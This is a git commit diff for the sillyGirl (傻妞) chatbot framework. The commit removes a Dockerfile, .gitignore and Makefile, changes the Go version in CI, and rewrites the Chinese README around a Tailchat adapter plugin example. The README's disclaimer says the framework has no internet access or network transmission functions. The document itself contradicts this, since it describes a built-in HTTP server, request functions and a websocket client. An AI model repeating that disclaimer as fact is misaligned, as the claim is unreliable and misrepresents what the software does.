Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b6cb7726f8 |
-63
@@ -1,63 +0,0 @@
|
||||
FROM debian:11
|
||||
|
||||
RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
|
||||
sed -i 's/security.debian.org/mirrors.aliyun.com\/debian-security/g' /etc/apt/sources.list
|
||||
|
||||
RUN apt-get update && apt-get install -y \
|
||||
python3 \
|
||||
python3-pip \
|
||||
php \
|
||||
php-json \
|
||||
php-xml \
|
||||
php-mbstring \
|
||||
php-curl \
|
||||
php-gd \
|
||||
php-zip \
|
||||
php-mysql \
|
||||
php-pgsql \
|
||||
php-redis \
|
||||
php-pear \
|
||||
php-dev \
|
||||
curl \
|
||||
wget \
|
||||
git
|
||||
|
||||
# 安装gRPC扩展
|
||||
# RUN pecl install grpc
|
||||
|
||||
# 清理缓存和临时文件
|
||||
RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
|
||||
# 下载文件
|
||||
RUN mkdir -p /usr/local/sillyGirl \
|
||||
&& ARCH=$(uname -m) \
|
||||
&& DOWNLOAD_URL="" \
|
||||
&& if [ "$ARCH" = "x86_64" ]; then \
|
||||
DOWNLOAD_URL="/releases/download/main/sillyGirl_linux_amd64"; \
|
||||
elif [ "$ARCH" = "aarch64" ]; then \
|
||||
DOWNLOAD_URL="/releases/download/main/sillyGirl_linux_arm64"; \
|
||||
elif [ "$ARCH" = "armv7l" ]; then \
|
||||
DOWNLOAD_URL="/releases/download/main/sillyGirl_linux_armv7"; \
|
||||
else \
|
||||
echo "Unsupported architecture: $ARCH"; \
|
||||
exit 1; \
|
||||
fi \
|
||||
&& curl -L -sSL -f "https://gitee.com/sillybot/sillyGirl$DOWNLOAD_URL" -o /usr/local/sillyGirl/sillyGirl \
|
||||
|| (echo "Download from original address failed, trying proxy address..." \
|
||||
&& curl -sSL --connect-timeout 10 -f "https://github.com/cdle/sillyGirl$DOWNLOAD_URL" -o /usr/local/sillyGirl/sillyGirl) \
|
||||
&& chmod +x /usr/local/sillyGirl/sillyGirl
|
||||
|
||||
# 设置工作目录
|
||||
WORKDIR /usr/local/sillyGirl
|
||||
|
||||
ENV PATH="/usr/local/sillyGirl/language/node/yarn/bin:${PATH}"
|
||||
ENV PATH="/usr/local/sillyGirl/language/node:${PATH}"
|
||||
ENV SILLYGIRL_DATA_PATH=/usr/local/sillyGirl/
|
||||
|
||||
# 指定容器启动时要运行的命令
|
||||
# CMD ["/usr/local/sillyGirl/sillyGirl", "-t"]
|
||||
|
||||
CMD ["/usr/local/sillyGirl/sillyGirl -t"]
|
||||
|
||||
# docker build -t sillygirl .
|
||||
# docker run -d --restart always --name sillygirl sillygirl
|
||||
@@ -16,7 +16,7 @@ jobs:
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: 1.18
|
||||
go-version: 1.20.2
|
||||
|
||||
- name: Git clone sillyplus
|
||||
run: |
|
||||
@@ -78,4 +78,4 @@ jobs:
|
||||
asset_name: sillyGirl_linux_arm64
|
||||
tag: ${{ github.ref }}
|
||||
overwrite: true
|
||||
|
||||
|
||||
-41
@@ -1,41 +0,0 @@
|
||||
test
|
||||
sillyplus
|
||||
.vscode
|
||||
dev.go
|
||||
.DS_Store
|
||||
jd_wskey
|
||||
logs/*
|
||||
develop/jd_*
|
||||
data
|
||||
dwz
|
||||
replies
|
||||
qinglongs
|
||||
sets.conf
|
||||
*.exe
|
||||
yummy
|
||||
_*
|
||||
fanli_vip
|
||||
cable
|
||||
sillyplus.cache
|
||||
sillyplus.*
|
||||
main
|
||||
sillyplus.pid
|
||||
sillyGirl.pid
|
||||
gitee
|
||||
develop/wx
|
||||
develop/qinglong
|
||||
toulu
|
||||
develop/boltdb
|
||||
develop/core
|
||||
*.db
|
||||
dist/
|
||||
core/dist
|
||||
.verysync
|
||||
test
|
||||
.sillyplus
|
||||
test*
|
||||
node_modules
|
||||
plugins
|
||||
bin
|
||||
language
|
||||
.VSCodeCounter
|
||||
@@ -1,23 +0,0 @@
|
||||
.PHONY: build
|
||||
|
||||
BINARY_NAME=sillyGirl
|
||||
|
||||
build:
|
||||
GOARCH=amd64 GOOS=darwin go build -o ${BINARY_NAME}-darwin -ldflags "-s -w" main.go
|
||||
GOARCH=amd64 GOOS=linux go build -o ${BINARY_NAME}-linux -ldflags "-s -w" main.go
|
||||
|
||||
|
||||
release:
|
||||
GOARCH=amd64 GOOS=darwin garble build -o ${BINARY_NAME}-darwin -a -ldflags "-s -w" -trimpath -buildmode=pie main.go
|
||||
GOARCH=amd64 GOOS=linux garble build -o ${BINARY_NAME}-linux -a -ldflags "-s -w" -trimpath -buildmode=pie main.go
|
||||
|
||||
pre-release:
|
||||
go install mvdan.cc/garble@latest
|
||||
run:
|
||||
go build -o ${BINARY_NAME} main.go
|
||||
./${BINARY_NAME}
|
||||
|
||||
clean:
|
||||
go clean
|
||||
rm ${BINARY_NAME}-darwin
|
||||
rm ${BINARY_NAME}-linux
|
||||
@@ -1,531 +1,145 @@
|
||||
# 傻妞
|
||||
<h1 align="center">傻妞</h1>
|
||||
<div align="center">
|
||||
<font size=3> 支持多种开发语言的机器人框架,一个脚本即可实现跨平台的用户交互.</font>
|
||||
|
||||
一个不太有用的机器人,不生产消息,只搬运消息。
|
||||
<font size=4>一个不太有用的机器人,我愿称之为 **《废物》**.</font>
|
||||
|
||||
## 特性
|
||||
[开发文档](https://cdle.github.io/sillyGirl) | [Github](https://github.com/cdle/sillyGirl) | [TG 频道](https://t.me/kczz2021) | [赞助列表](./sponsors.md)
|
||||
|
||||
- 简单易用的消息搬运功能。
|
||||
- 简单强大的自定义回复功能。
|
||||
- 完整支持 ECMAScript 5.1 的插件系统,基于 [otto](https://github.com/robertkrimen/otto)。
|
||||
- 支持通过内置的阉割版 `Express` / `request` ,接入互联网。
|
||||
- 内置 `Cron` ,轻松实现定时任务。
|
||||
- 持久化的 `Bucket` 存储模块。
|
||||
- 支持同时接入多个平台多个机器人,自己开发。
|
||||
\_
|
||||
|
||||
## 快速上手
|
||||
</div>
|
||||
|
||||
### 安装
|
||||
> **傻妞 是一个开箱即用的 社交平台交互 框架。它基于 OOP 函数响应式编程,具有占用小、响应快、开发易等特点,允许开发者创建高度可测试、可扩展、松散耦合且易于维护的应用程序**
|
||||
|
||||
在 [releases](https://github.com/cdle/sillyGirl/releases) 中找到合适自己系统版本的程序运行带 `-t` 可以开启终端机器人,直接与程序进行交互。
|
||||
# 特性
|
||||
|
||||
```shell
|
||||
./sillyplus -t
|
||||
2023/05/24 14:12:01.859 [I] 默认使用boltdb进行数据存储。
|
||||
2023/05/24 14:12:01.950 [I] Http服务已运行(8080)。
|
||||
```
|
||||
- 多平台多账户接入系统 : 2 个 qq/3 个 wx/4 个 tg? so easy!;
|
||||
- 用户可以前往插件市场,一键安装自己想要接入聊天工具,简单配置即可使用
|
||||

|
||||
- 开发者可以通过 Adapter 自由接入聊天工具,以下是接入`tailchat`的简单插件例子
|
||||
|
||||
### 开发第一个插件
|
||||
|
||||
```js
|
||||
```javascript
|
||||
/**
|
||||
* @title HelleWorld
|
||||
* @rule raw ^你好$
|
||||
* @title Tailchat
|
||||
* @create_at 2023-08-05 21:16:32
|
||||
* @description 🐒配置详见 https://tailchat.msgbyte.com/zh-Hans/docs/advanced-usage/openapp/ws
|
||||
* @author 猫咪
|
||||
* @version v1.0.3
|
||||
* @form {key: "tailchat.APPID", title: "APP ID", required: true }
|
||||
* @form {key: "tailchat.APPSECRET", title: "APP SECRET", required: true }
|
||||
* @form {key: "tailchat.HOST", title: "HOST", required: true, tooltip: "服务器http地址" }
|
||||
* @service true
|
||||
* @icon https://tailchat.msgbyte.com/zh-Hans/img/logo.svg
|
||||
* @public true
|
||||
* @class 机器人
|
||||
*/
|
||||
|
||||
s.reply("Helle World!");
|
||||
```
|
||||
const {
|
||||
Bucket,
|
||||
utils: { parseCQText },
|
||||
Adapter,
|
||||
} = require("sillygirl");
|
||||
const { URL } = require("url");
|
||||
|
||||
怼着程序输入 `你好` ,就可以看到机器人回复的 `Helle World!` 了
|
||||
(async () => {
|
||||
const platform = "tailchat";
|
||||
const config = new Bucket(platform);
|
||||
const { TailchatWsClient } = require("tailchat-client-sdk");
|
||||
|
||||
```sh
|
||||
你好
|
||||
2023/05/24 14:15:48.350 [I] 匹配到规则:^你好$
|
||||
Helle World!
|
||||
```
|
||||
let HOST = await config.get("HOST");
|
||||
let APPID = await config.get("APPID");
|
||||
let APPSECRET = await config.get("APPSECRET");
|
||||
|
||||
插件注释 `@rule raw ^你好$` 中的正则表达式被消息匹配时插件脚本就会被触发。
|
||||
const parsedUrl = new URL(HOST);
|
||||
HOST = `${parsedUrl.protocol}//${parsedUrl.host}`;
|
||||
|
||||
### 添加和销毁定时任务
|
||||
|
||||
不同于`HelleWorld`,插件注释 `@on_start true` 时是作为傻妞系统服务持续运行的。
|
||||
|
||||
```js
|
||||
/**
|
||||
* @title 定时任务
|
||||
* @on_start true
|
||||
*/
|
||||
|
||||
const task = Cron();
|
||||
let taskId = 0;
|
||||
let times = 5;
|
||||
const { id } = task.add("*/5 * * * * *", () => {
|
||||
// 同样支持分钟级任务,如:*/5 * * * *
|
||||
times--;
|
||||
console.log(
|
||||
`每5秒执行一次任务,${
|
||||
times ? `${times}次后结束任务` : "这是最后一次任务"
|
||||
}。`
|
||||
);
|
||||
if (times == 0) {
|
||||
task.remove(taskId); //移除任务
|
||||
if (!HOST || !APPID || !APPSECRET) {
|
||||
console.error("require param: HOST, APPID, APPSECRET");
|
||||
process.exit(1);
|
||||
}
|
||||
});
|
||||
taskId = id;
|
||||
```
|
||||
|
||||
程序输出:
|
||||
const client = new TailchatWsClient(HOST, APPID, APPSECRET);
|
||||
|
||||
```sh
|
||||
2023/05/27 19:57:00.000 [I] 每5秒执行一次任务,4次后结束任务。
|
||||
2023/05/27 19:57:05.001 [I] 每5秒执行一次任务,3次后结束任务。
|
||||
2023/05/27 19:57:10.001 [I] 每5秒执行一次任务,2次后结束任务。
|
||||
2023/05/27 19:57:15.001 [I] 每5秒执行一次任务,1次后结束任务。
|
||||
2023/05/27 19:57:20.000 [I] 每5秒执行一次任务,这是最后一次任务。
|
||||
```
|
||||
|
||||
### 接入机器人
|
||||
|
||||
接入一个机器人首先 `initAdapter`,然后再通过 `receive` 持续接收消息和设置`setReplyHandler`以发送消息。
|
||||
|
||||
```js
|
||||
/**
|
||||
* @title 第一个机器人
|
||||
* @on_start true
|
||||
*/
|
||||
|
||||
const task = Cron();
|
||||
const qq_1700000 = initAdapter("qq", "1700000"); //初始化机器人,参数分别是平台、机器人ID
|
||||
|
||||
//模拟场景:每5秒用户100009给机器人1700000发送消息你好
|
||||
task.add("*/5 * * * * *", function () {
|
||||
let message = {
|
||||
user_id: 100000, //用户ID,这里是假的,其他也是假的
|
||||
content: "你好", //消息内容ID
|
||||
// chat_id: "", //聊天ID,注意,群聊默认不回复,在对应群聊使用口令listen和reply口令激活群聊
|
||||
// message_id: "", //消息ID
|
||||
// chat_name: "", //群聊名
|
||||
// user_name: "", //用户名
|
||||
};
|
||||
qq_1700000.receive(message); //机器人收到消息
|
||||
});
|
||||
|
||||
qq_1700000.setReplyHandler(function (message) {
|
||||
console.log(`给用户${message.user_id}发消息:${message.content}`); //回复用户
|
||||
});
|
||||
```
|
||||
|
||||
程序每 5 秒都会输出该机器人收到的消息以及同时触发规则运行插件的日志。
|
||||
|
||||
```sh
|
||||
2023/05/24 14:36:50.001 [I] 接收到消息 qq/100000@:你好
|
||||
2023/05/24 14:36:50.001 [I] 匹配到规则:你好
|
||||
2023/05/24 14:36:50.002 [I] 给用户100000发消息:Hello World!
|
||||
```
|
||||
|
||||
### 与用户交互
|
||||
|
||||
```js
|
||||
/**
|
||||
* @title 用户交互插件
|
||||
* @rule 猜拳
|
||||
*/
|
||||
|
||||
s.reply("你先出,请在10秒内出拳!");
|
||||
ns = s.listen({
|
||||
rules: ["[出拳:剪刀,石头,布]"], // []中出拳是参数名,剪刀,石头,布是参数可能值
|
||||
timeout: 10000, // 超时设置
|
||||
handle: (s) => {
|
||||
let choose = s.param("出拳");
|
||||
s.reply(
|
||||
`我出${
|
||||
choose == "石头" ? "剪刀" : choose == "布" ? "剪刀" : "石头"
|
||||
},我赢了。`
|
||||
);
|
||||
},
|
||||
});
|
||||
if (!ns) {
|
||||
s.reply("你没出拳,算我赢了!");
|
||||
}
|
||||
```
|
||||
|
||||
### 开发 HTTP 接口
|
||||
|
||||
```js
|
||||
/**
|
||||
* @title 第一个web服务
|
||||
* @on_start true
|
||||
*/
|
||||
|
||||
const app = Express(); //导入HTTP服务,傻妞默认开启,端口8080
|
||||
app.get("/helloWorld", function (req, res) {
|
||||
res.send("Hello world!");
|
||||
});
|
||||
```
|
||||
|
||||
打开浏览器访问 `http://127.0.0.1:8080/helloWorld` ,当然地址根据实际情况,理论上可以看到接口返回的 `Hello world!` 。
|
||||
|
||||
### 实现一个 HTTP 请求
|
||||
|
||||
```js
|
||||
/**
|
||||
* @title 实现一个HTTP 请求
|
||||
* @on_start true
|
||||
*/
|
||||
|
||||
let api = "/testRequest"; //接口地址
|
||||
|
||||
//第一步,实现一个原样返回请求数据的接口
|
||||
const app = Express();
|
||||
app.post(api, (req, res) => res.json(req.json()));
|
||||
|
||||
//第二步,请求第一步实现的接口
|
||||
const port = Bucket("app").port ?? "8080"; // 获取http服务端口
|
||||
const url = `http://127.0.0.1:${port}${api}`;
|
||||
fetch({
|
||||
url,
|
||||
method: "POST",
|
||||
body: { value: "test" },
|
||||
})
|
||||
.then((resp) => resp.json())
|
||||
.then((data) => console.log(`value is ${data.value}`))
|
||||
.catch((e) => console.log(e));
|
||||
```
|
||||
|
||||
### 持久化存储
|
||||
|
||||
```js
|
||||
/**
|
||||
* @title 持久化存储
|
||||
* @rule raw ^我是谁$
|
||||
* @rule 我是[姓名]
|
||||
*/
|
||||
|
||||
const user = Bucket("user"); //初始化存储桶user
|
||||
let name = s.param("姓名");
|
||||
|
||||
if (user.name == "") {
|
||||
s.reply(`我不知道你是谁!`);
|
||||
} else if (name == "谁") {
|
||||
s.reply(`你是${user.name}`);
|
||||
} else {
|
||||
user.name = name;
|
||||
s.reply(`好的,你的姓名更新为${user.name}`);
|
||||
}
|
||||
```
|
||||
|
||||
插件实现了记名字的功能,其中`姓名`是方括号里匹配到的值,本质还是正则匹配到的。
|
||||
|
||||
```
|
||||
我是谁
|
||||
2023/05/24 15:43:40.121 [I] 匹配到规则:^我是谁$
|
||||
我不知道你是谁!
|
||||
我是小千
|
||||
2023/05/24 15:43:49.735 [I] 匹配到规则:^我是([\s\S]+)$
|
||||
好的,你的姓名更新为小千
|
||||
我是谁
|
||||
2023/05/24 15:43:53.727 [I] 匹配到规则:^我是谁$
|
||||
你是小千
|
||||
```
|
||||
|
||||
有了 `Bucket` 才有了傻妞从不认识小千到认识小千的过程。
|
||||
|
||||
### 管理员
|
||||
|
||||
```js
|
||||
const masters = Bucket("qq")["masters"];
|
||||
```
|
||||
|
||||
`masters` 是管理员账号通过"&"拼接起来的,系统默认依此判断用户是否是管理员。
|
||||
|
||||
### 群组消息
|
||||
|
||||
默认不监听不回复任何群组,监听口令 `listen` 和 `unlisten`,回复口令 `reply` 和 `noreply`,需要管理员在对应群组发送口令。
|
||||
|
||||
## 深入了解
|
||||
|
||||
### 插件注释
|
||||
|
||||
| 字段 | 举例 | 用法 |
|
||||
| ------------- | ---------------------------------- | -------------------------------------------------- |
|
||||
| `title` | HelloWorld | 插件标题 |
|
||||
| `rule` | raw `^我是([\s\S]+)$` | 可写多行,取括号内参数 `s.param(1)` ,多个参数类推 |
|
||||
| `priority` | `1` | 插件优先级,越高则优先处理 |
|
||||
| `on_start` | `true` | 插件后台任务执行脚本,避免重复运行 |
|
||||
| `disable` | `true` | 禁用脚本 |
|
||||
| `form` | `{title: "姓名", key:"user.name"}` | 插件表,key 值对应 `存储桶.键名` |
|
||||
| `public` | `true` | 公开插件 |
|
||||
| `create_at` | 2023-05-24 15:14:53 | 插件创建时间 |
|
||||
| `description` | 本插件用于每天向女友问好 | 插件描述 |
|
||||
| `author` | `cdle` | 插件作者 |
|
||||
| `version` | `v1.0.0` | 插件版本 |
|
||||
| `icon` | url 省略... | 给插件增加图标 |
|
||||
|
||||
### Sender
|
||||
|
||||
傻妞搬运的核心对象,在插件中为全局变量 s or sender。
|
||||
|
||||
```ts
|
||||
interface Sender {
|
||||
getUserId(): string; //获取用户ID
|
||||
getUserName(): string; //获取用户昵称
|
||||
getChatId(): string; //获取群聊ID
|
||||
getChatName(): string; //获取群聊名称
|
||||
getMessageId(): string; //获取消息ID
|
||||
getContent(): string; //获取消息内容
|
||||
continue(): void; //使消息继续往下匹配正则,消息正常第一次被匹配就会停止继续匹配
|
||||
setContent(content: string): void; //修改接收到的消息内容,可配合`continue`被其他规则匹配
|
||||
param(index: string | number): string; //获取`rule`匹配参数,可取[]内参数,?型参数从1开始取,例 `@rule 回复 ?` 对应 `s.param(1)`
|
||||
holdOn(content: string): string; //持续监听
|
||||
listen({
|
||||
rules: string[]; //匹配规则
|
||||
timeout: number; //超时,单位毫秒
|
||||
handle: (s: Sender): string;//如果匹配成功,则进入消息处理逻辑。如果将 holdOn(content) 的结果作为返回值,会继续监听
|
||||
listen_private: boolean; //监听用户群内消息时,同时监听用户消息
|
||||
listen_group: boolean; //监听用户群内消息时,同时监听群员消息
|
||||
allow_platforms: string[]; //平台白名单
|
||||
prohibit_platforms: string[]; //平台黑名单
|
||||
allow_groups: string[]; //群聊白名单
|
||||
prohibit_groups: string[]; //群聊黑名单
|
||||
allow_users: string[]; //用户白名单
|
||||
prohibit_users: string[]; //群聊白名单
|
||||
}): Sender; //超时,返回undefined
|
||||
isAdmin(): boolean; //判断消息是否来自管理员
|
||||
getPlatform(): string; //获取消息平台
|
||||
getBotId(): string; //获取机器人ID
|
||||
reply(content: string): {message_id: string, error: string}; //回复消息,媒体消息推荐使用CQ码实现,返回消息ID
|
||||
recallMessage(meesageId: string | string[] | number): {error: string}; //撤回消息,number类型时为延时毫秒
|
||||
kick(user_id: string): {error: string}; //移出群聊
|
||||
unkick(user_id: string): {error: string}; //取消移出群聊
|
||||
ban(user_id: string, duration: number): {error: string}; //禁言,并指定时长
|
||||
unban(user_id: string): {error: string}; //取消禁言
|
||||
}
|
||||
```
|
||||
|
||||
### Express `Request` / `Response`
|
||||
|
||||
只能说是够用,有需求可联系作者。插件中通过 `Express()` 返回一个对象。
|
||||
|
||||
```ts
|
||||
interface Request {
|
||||
body(): string; //获取请求体
|
||||
json(): any; //将请求体解析为JSON
|
||||
ip(): string; //获取客户端IP地址
|
||||
originalUrl(): string; //获取原始请求URL
|
||||
query(param: string): string; //获取查询参数
|
||||
param(i: number): string; //根据索引获取路径参数
|
||||
querys(): Record<string, string[]>; //获取所有查询参数
|
||||
postForm(s: string): string; //获取表单数据
|
||||
postForms(): Record<string, string[]>; //获取所有表单数据
|
||||
path(): string; //获取请求路径
|
||||
header(s: string): string; //获取请求头
|
||||
get(s: string): string; //获取请求头
|
||||
headers(): Record<string, string[]>; //获取所有请求头
|
||||
method(): string; //获取请求方法
|
||||
cookie(s: string): string; //获取 cookie
|
||||
cookies(): Record<string, string>; //获取 cookies
|
||||
continue(): void; //继续匹配其他路由
|
||||
setSession(k: string, v: string): string; //设置会话值
|
||||
getSession(k: string): string; //获取会话值
|
||||
getSessionId(): string; //获取会话ID
|
||||
destroySession(): string; //销毁会话
|
||||
logined(): boolean; //是否面板登录状态
|
||||
}
|
||||
|
||||
interface Response {
|
||||
send(body: any): Response; //发送响应体
|
||||
sendStatus(status: number): Response; //发送状态码
|
||||
json(...ps: any[]): Response; //发送JSON响应
|
||||
header(str: string, value: string): Response; //设置响应头
|
||||
set(str: string, value: string): void; //设置响应头
|
||||
render(view: string, params: Record<string, any>): Response; //渲染视图
|
||||
redirect(...is: any[]): void; //重定向到URL
|
||||
status(i: number, ...s: string[]): Response; //设置状态码和文本
|
||||
setCookie(name: string, value: string, ...i: any[]): Response; //设置 Cookie
|
||||
stop(): void; //代码片段停止
|
||||
}
|
||||
```
|
||||
|
||||
### request
|
||||
|
||||
由 `net/http` 封装而成,如有更多需求可以联系作者。
|
||||
|
||||
```ts
|
||||
function request(options: {
|
||||
url: string; //请求地址
|
||||
method: string; //请求方法
|
||||
headers: { [key: string]: string }; //请求头
|
||||
json: boolean; // 返回json对象,等价于 responseType: "json"
|
||||
timeout: number; //超时参数,单位毫秒
|
||||
form: { [key: string]: any }; //formData表单数据,优先于下面的body
|
||||
body: any; // 请求体,支持字符串、二进制,对象自动转json字符串和添加相应请求头
|
||||
allow_redirects: boolean; // 是否允许重定向,默认允许
|
||||
proxy: {};
|
||||
}): {
|
||||
status: number; // 状态码,同statusCode
|
||||
headers: { [key: string]: string };
|
||||
body: any;
|
||||
};
|
||||
```
|
||||
|
||||
### Adapter
|
||||
|
||||
```ts
|
||||
interface Message{
|
||||
message_id: string; // 消息ID
|
||||
user_id: string; // 用户ID
|
||||
chat_id: string; // 聊天ID
|
||||
content: string; // 聊天内容
|
||||
user_name: string; // 用户名
|
||||
chat_name: string; // 群组名
|
||||
}
|
||||
|
||||
class Adapter(botplt: string, botid: string) {
|
||||
isAdapter(botid: string): boolean; //判断id是否为机器人
|
||||
push(message: Message): string; //推送消息,无视禁言设置
|
||||
getReplyMessage(): Promise<message: Message>; //获取一条回复消息,实际发送成功后,如果有id,请设置 message.message_id
|
||||
setReplyHandler(func: (message: Message): string): void; //设置回复事件处理方法,方法中返回消息ID,不推荐使用。
|
||||
receive(message: Message): Sender; //接收一个消息,并返回一个Sender对象
|
||||
setRecallMessage(func: (i: string | string[]) => boolean): void;//设置撤回消息函数。
|
||||
setGroupKick(func: (user_id: string, chat_id: string, reject_add_request: boolean) => void): boolean; //设置群聊成员移除函数,reject_add_request指5是否继续接受请求
|
||||
setGroupBan(func: (user_id: string, chat_id: string, duration: number) => void): boolean;//设置群聊成员禁言函数
|
||||
setGroupUnban(func: (user_id: string, chat_id: string) => void): boolean;//设置群聊成员解除禁言函数
|
||||
setIsAdmin(func: (user_id: string) => boolean): void; //设置用户是否是成员函数,默认自动实现
|
||||
destroy(): void;//销毁机器人
|
||||
}
|
||||
function getAdapter(platform: string, bot_id string): {Adapter: string, error: string}; //获取一个机器人
|
||||
|
||||
function getAdapterBotsID(bot_id string): Adapter[]; //获取一个平台的所有机器人
|
||||
|
||||
function getAdapterBotPlts(platform: string): string[]; //所有机器人平台
|
||||
```
|
||||
|
||||
### Bucket
|
||||
|
||||
例:通过 `Bucket("app")` 初始化一个 app 存储痛
|
||||
|
||||
```ts
|
||||
interface Bucket(name: string) {
|
||||
get(key: string, defaultValue: any): any; // 取值
|
||||
set(key: string, value: any): Error | null; // 设值
|
||||
watch(key: string, event: (old: any, new_: any, key: string) => void); // 设置监听器,key 值为 * 时将监听整个桶的存储事件
|
||||
getAll(): []; // 获取全部值
|
||||
delete(key: string): Error | null; // 删值
|
||||
empty(): Error | undefined; // 清空桶
|
||||
keys(): string[]; // 获取所有键名
|
||||
len(): number | undefined; // 获取数据数目
|
||||
buckets(): string[]; // 获取所有存在的桶名
|
||||
_name(): string; // 获取当前桶名
|
||||
}
|
||||
```
|
||||
|
||||
### Cron
|
||||
|
||||
可以通过`let task = Cron()`返回的对象来添加定时任务 `const {id, error} = task.add("* * * * *", ()=>{})`
|
||||
|
||||
```ts
|
||||
interface Cron {
|
||||
add(crontab: string, ()=>void): {id: number, error: string}//添加定时任务 crontab同时支持秒级和分钟级
|
||||
remove(id: number): void//移除定时任务
|
||||
}
|
||||
```
|
||||
|
||||
### 插件表单
|
||||
|
||||
可以使用注释 `@form {title: "标题", key: "test.title"}` 添加表单元素。当如也可以直接在插件代码中添加,如下。
|
||||
|
||||
```js
|
||||
// 单个表单元素
|
||||
Form({
|
||||
title: "姓名",
|
||||
key: "test.name",
|
||||
});
|
||||
// 多个表单元素
|
||||
Form([
|
||||
{
|
||||
title: "姓名",
|
||||
key: "test.name",
|
||||
},
|
||||
{
|
||||
title: "性别",
|
||||
key: "test.sex",
|
||||
},
|
||||
]);
|
||||
// 使用schema-form
|
||||
Form([
|
||||
{
|
||||
title: "创建时间",
|
||||
key: "test.createName",
|
||||
dataIndex: "test.createName",
|
||||
valueType: "date",
|
||||
},
|
||||
{
|
||||
title: "创建时间",
|
||||
key: "test.createName",
|
||||
dataIndex: "test.createName",
|
||||
valueType: "date",
|
||||
},
|
||||
{
|
||||
title: "分组",
|
||||
valueType: "group",
|
||||
columns: [
|
||||
{
|
||||
title: "状态",
|
||||
dataIndex: "test.groupState",
|
||||
valueType: "select",
|
||||
width: "xs",
|
||||
valueEnum: {
|
||||
all: { text: "全部", status: "Default" },
|
||||
open: {
|
||||
text: "未解决",
|
||||
status: "Error",
|
||||
},
|
||||
closed: {
|
||||
text: "已解决",
|
||||
status: "Success",
|
||||
disabled: true,
|
||||
},
|
||||
processing: {
|
||||
text: "解决中",
|
||||
status: "Processing",
|
||||
},
|
||||
},
|
||||
client.connect().then(async () => {
|
||||
const bot_info = await client.whoami();
|
||||
const adapter = new Adapter({
|
||||
platform, //平台简称
|
||||
bot_id: bot_info.userId, //机器人ID
|
||||
replyHandler: async ({ content, chat_id: converseId, groupId }) => {
|
||||
client.sendMessage({ converseId, groupId: groupId ?? "", content }); //往社交平台发送消息
|
||||
},
|
||||
{
|
||||
title: "标题",
|
||||
width: "md",
|
||||
dataIndex: "test.groupTitle",
|
||||
formItemProps: {
|
||||
rules: [
|
||||
{
|
||||
required: true,
|
||||
message: "此项为必填项",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
]);
|
||||
}); // 初始化适配器
|
||||
client.onMessage(({ content, author: user_id, groupId, converseId }) => {
|
||||
adapter.receive({
|
||||
user_id,
|
||||
chat_id: converseId,
|
||||
content,
|
||||
groupId,
|
||||
}); //向框架发送消息
|
||||
});
|
||||
});
|
||||
})();
|
||||
```
|
||||
|
||||
### 其他
|
||||
- 基于 Golang OOP 函数响应式编程 :占用小,响应快,开发易 ;
|
||||
- 极简的插件设计模式
|
||||
- 系统高度封装,提供简便人性化的系统方法,随心所欲开发插件;
|
||||
- 用户可以轻松安装已发布插件,免去部署环境等繁琐操作
|
||||

|
||||
- 支持多种开发语言 :
|
||||
- 内置 Javascript 引擎,完整支持 ECMAScript 5.1,快速、便捷、门槛低;
|
||||
- 支持 NodeJs,尽情使用其提供的 async/await/Promise 语法糖,可以自由控制异步同步;
|
||||
- 支持 Python3,简洁明了的语法、强大的标准库以及社区优势;
|
||||
- 即将支持 PHP,对对对,这是世界上最好的语言;
|
||||
- 不仅仅是 Chat RoBot : 如果你愿意,可以在本框架上搭建网站、图片服务器、资源共享平台、并发请求等服务,尽情释放你的创造力.
|
||||
|
||||
```ts
|
||||
支持 Crypto、Buffer
|
||||
sleep(millsec: number): void; //等待
|
||||
md5(string): string; //加密
|
||||
running(): boolean; //服务是否运行
|
||||
uuid(): string; //获取脚本uuid
|
||||
genUuid(): string; //生成uuid
|
||||
```
|
||||
# 未来
|
||||
|
||||
### 拓展 CQ 码
|
||||
- [ ] ...
|
||||
|
||||
[CQ:delete,id=message_id]
|
||||
[CQ:kick,user_id,chat_id,forever=true]
|
||||
[CQ:ban,user_id,chat_id,duration=0]
|
||||
> 后台目前只有一个蹩脚的前端(本人),如果有前端工程师对此感兴趣,请联系我~
|
||||
|
||||
### 项目赞助
|
||||
# 安装
|
||||
|
||||
打开微信扫一扫,深入了解作者~
|
||||

|
||||
参见 [安装文档](./md/init.md)
|
||||
|
||||
# 开发
|
||||
|
||||
[开发文档](https://cdle.github.io/sillyGirl)
|
||||
|
||||
> 如果是手机端浏览开发文档,请点击开发文档左下角的按钮手动打开侧边栏目录。
|
||||
|
||||
> 如果你是纯小白可以了解内置插件系统 [开发文档](./md/goja.md),快速进行插件开发
|
||||
|
||||
# 其他
|
||||
|
||||
[Github](https://github.com/cdle/sillyGirl)
|
||||
[TG 频道](https://t.me/kczz2021)
|
||||
[TG 群组](https://t.me/trialerr)
|
||||
[赞助列表](./sponsors.md)
|
||||
|
||||
## 请喝茶 ?
|
||||
|
||||
[联系到我](https://t.me/cdle1994)
|
||||
您的支持是我更新的动力,Thank~
|
||||
|
||||
## 免责声明
|
||||
|
||||
> 任何用户在使用由 Cdle(以下简称「本团队」)研发的机器人框架傻妞前,请您仔细阅读并透彻理解本声明。您可以选择不使用傻妞框架,若您一旦使用傻妞框架,您的使用行为即被视为对本声明全部内容的认可和接受。
|
||||
|
||||
1. 傻妞框架是一款免费的机器人框架,主要用于更高效地开发会话应答式程序。且傻妞框架并不具备「互联网接入、网络数据存储、通讯传输以及窃取用户隐私」中的任何一项与用户数据等信息相关的动态功能。
|
||||
2. 傻妞框架仅是运行 Golang/Node/Python 等程序的服务端框架,其尊重并保护所有用户的个人隐私权,不窃取任何用户计算机中的信息。更不具备用户数据存储等网络传输功能。
|
||||
3. 本框架的初衷是帮助广大同学认识 Golang,并更好利用 Golang 进行学术研究,用户在框架上做的所有改动、开发的任何插件均与本框架无关。
|
||||
4. 本框架内使用的部分包括但不限于字体、npm 库等资源来源于互联网,如果出现侵权可联系本框架移除。
|
||||
5. 由于使用本框架产生的包括由于本协议或由于使用或无法使用本框架而引起的任何性质的任何直接、间接、特殊、偶然或结果性损害(包括但不限于因商誉损失、停工、计算机故障或故障引起的损害赔偿,或任何及所有其他商业损害或损失)由使用者负责。
|
||||
